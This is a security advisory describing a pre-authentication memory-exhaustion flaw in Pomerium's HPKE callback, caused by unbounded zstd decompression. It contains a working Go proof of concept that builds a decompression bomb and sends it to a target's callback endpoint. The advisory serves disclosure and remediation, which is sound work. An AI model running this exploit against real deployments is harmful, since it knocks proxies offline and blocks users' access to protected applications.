Résumé

Pomerium Pre-Auth Memory Exhaustion via Unbounded zstd Decompression in HPKE Callback

Détails de l’avis

Summary

The HPKE V2 URL decode path in pkg/hpke/url.go decompresses attacker-controlled zstd data without any size limit. On Pomerium deployments using the stateless authentication flow (Pomerium Zero / hosted authenticate), the proxy's /.pomerium/callback endpoint is reachable without credentials and processes attacker-crafted HPKE-encrypted payloads before the sender's identity is validated. Because Pomerium's HPKE receiver public key is publicly served, an attacker can encrypt a decompression bomb, deliver it to the callback endpoint, and cause unbounded memory allocation — crashing or degrading the proxy process.

Severity

High (CVSS 3.1: 7.5)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

  • Attack Vector: Network — the /.pomerium/callback route on the proxy service is externally reachable.
  • Attack Complexity: Low — the receiver public key is publicly available at /.well-known/pomerium/hpke-public-key; no special conditions apply.
  • Privileges Required: None — the callback endpoint is intentionally pre-authentication (it is the OAuth landing page).
  • User Interaction: None
  • Scope: Unchanged — the DoS is confined to the Pomerium proxy process itself.
  • Confidentiality Impact: None
  • Integrity Impact: None
  • Availability Impact: High — repeated attacks can exhaust process memory and crash the proxy.

Affected Component

  • pkg/hpke/url.godecodeQueryStringV2 (line 171)
  • internal/authenticateflow/stateless.goCallback (line 385–393)
  • proxy/handlers.goCallback (line 105–107), route registered at line 53–54

CWE

  • CWE-400: Uncontrolled Resource Consumption
  • CWE-1284: Improper Validation of Specified Quantity in Input

Description

Unbounded zstd Decompression in decodeQueryStringV2

pkg/hpke/url.go defines two decoders. The V1 path is plaintext. The V2 path zstd-compresses the query string before encryption. Decoding reverses this with no output size cap (url.go:166–176):

var zstdDecoder, _ = zstd.NewReader(nil,
    zstd.WithDecoderLowmem(true),
)

func decodeQueryStringV2(raw []byte) (url.Values, error) {
    bs, err := zstdDecoder.DecodeAll(raw, nil)  // no size limit
    if err != nil {
        return nil, err
    }
    return url.ParseQuery(string(bs))
}

WithDecoderLowmem(true) reduces the decoder's own memory footprint but applies no cap on the output. A 19 KB input can produce 128 MiB of output; a 38 KB input can produce 256 MiB.

By contrast, the codebase applies LimitReader when decompressing in internal/zero/api/download.go:75:

r = io.LimitReader(zr, maxUncompressedBlobSize)  // 1 GB cap

The protection is available but not applied to decodeQueryStringV2, confirming this is an inconsistent defense.

HPKE Does Not Block the Attack — Sender Validation Is Too Late

DecryptURLValues for the V2 format (url.go:107–126):

case IsEncryptedURLV2(encrypted):
    senderPublicKey, err = PublicKeyFromString(encrypted.Get(paramSenderPublicKeyV2))  // attacker-controlled
    // ...
    sealed, err := decode(encrypted.Get(paramQueryV2))
    // ...
    message, err := Open(receiverPrivateKey, senderPublicKey, sealed)  // HPKE decrypt — succeeds
    // ...
    decrypted, err = decodeQueryStringV2(message)  // zstd decompress — UNBOUNDED

Open uses SetupAuth (HPKE authenticated mode). It only verifies that sealed was created with a key pair whose public half is senderPublicKey. Because the attacker supplies both k (sender public key) and q (sealed payload), they choose a consistent key pair themselves. The Open call succeeds with their own freshly-generated keys.

Sender identity is validated after DecryptURLValues returns (stateless.go:391–397):

senderPublicKey, values, err := hpke.DecryptURLValues(s.hpkePrivateKey, r.Form)
// ... zstd already completed ...
err = s.validateSenderPublicKey(r.Context(), senderPublicKey)  // now rejects attacker

The decompression memory spike occurs unconditionally before rejection.

Pre-Auth Execution Chain on the Proxy Callback

The proxy registers the callback route without any session or signature middleware (proxy/handlers.go:53–54):

c := r.PathPrefix(endpoints.PathPomeriumCallback).Subrouter()
c.Path("/").Handler(httputil.HandlerFunc(p.Callback)).Methods(http.MethodGet)

For Stateless-flow deployments, p.Callbackauthenticateflow.Stateless.Callbackhpke.DecryptURLValues (unbounded decompress) → validateSenderPublicKey (rejects). This is by design: the callback endpoint must be pre-auth because it is the landing page after an IdP OAuth redirect.

Pomerium's HPKE receiver public key is served publicly and without authentication (internal/controlplane/http.go:82):

root.Path(endpoints.PathHPKEPublicKey).Methods(http.MethodGet).Handler(
    traceHandler(hpke_handlers.HPKEPublicKeyHandler(hpkePublicKey)))

The full attack requires no credentials of any kind.

Self-hosted (Stateful) deployments are NOT affected. The stateful Callback calls s.VerifySignature(r) as its very first operation, verifying an HMAC-SHA256 signature over the URL before touching the body. If the signature is missing or invalid, the function returns immediately without decrypting or decompressing anything.

Proof of Concept

# Step 1: Retrieve the receiver public key
curl -so receiver.pub "https://TARGET_HOSTNAME/.well-known/pomerium/hpke-public-key" | xxd | head

# Step 2: Build and send the decompression bomb (requires Go)
package main

import (
    "encoding/base64"
    "fmt"
    "net/http"
    "net/url"
    "strings"

    "github.com/klauspost/compress/zstd"
    "github.com/pomerium/pomerium/pkg/hpke"
)

func main() {
    // Fetch receiver public key from the target
    resp, _ := http.Get("https://TARGET_HOSTNAME/.well-known/pomerium/hpke-public-key")
    pubBytes := make([]byte, 32)
    resp.Body.Read(pubBytes)
    resp.Body.Close()

    receiverPub, _ := hpke.PublicKeyFromBytes(pubBytes)

    // Attacker generates their own sender key pair
    attackerPriv, _ := hpke.GeneratePrivateKey()

    // Build a decompression bomb: 128 MiB of repeated bytes → ~19 KB compressed
    plain := "x=" + strings.Repeat("A", 128*1024*1024)
    enc, _ := zstd.NewWriter(nil)
    compressed := enc.EncodeAll([]byte(plain), nil)

    // Seal the bomb with attacker's private key → server's public key
    sealed, _ := hpke.Seal(attackerPriv, receiverPub, compressed)

    form := url.Values{
        "k": {attackerPriv.PublicKey().String()},
        "q": {base64.RawURLEncoding.EncodeToString(sealed)},
    }

    // Deliver to the pre-auth callback endpoint
    target := "https://TARGET_HOSTNAME/.pomerium/callback/?" + form.Encode()
    fmt.Printf("Sending bomb to: %s\n", target)
    http.Get(target)
    fmt.Println("Done — server allocated ~256 MB per request")
}

Repeated calls amplify the effect proportionally. The server-side rejection from validateSenderPublicKey does not prevent the allocation.

Impact

  • Pre-auth denial of service against any Pomerium proxy using the hosted/stateless authenticate flow (Pomerium Zero / authenticate.pomerium.app).
  • An attacker who can reach the proxy can allocate hundreds of megabytes of server memory per HTTP request by sending a ~20–40 KB payload.
  • Sustained attack with concurrent requests can exhaust available memory and crash the proxy process, blocking all user access to every application protected by that Pomerium deployment.
  • No credentials, session cookies, or insider access required — only network reachability to the proxy's HTTPS port.

Recommended Remediation

Option 1: Cap decompressed output size in decodeQueryStringV2 (preferred)

Apply a reasonable upper bound on the decompressed query string. Legitimate HPKE-encrypted query strings contain URL parameters (redirect URIs, scopes, timestamps) and are never more than a few hundred kilobytes:


Références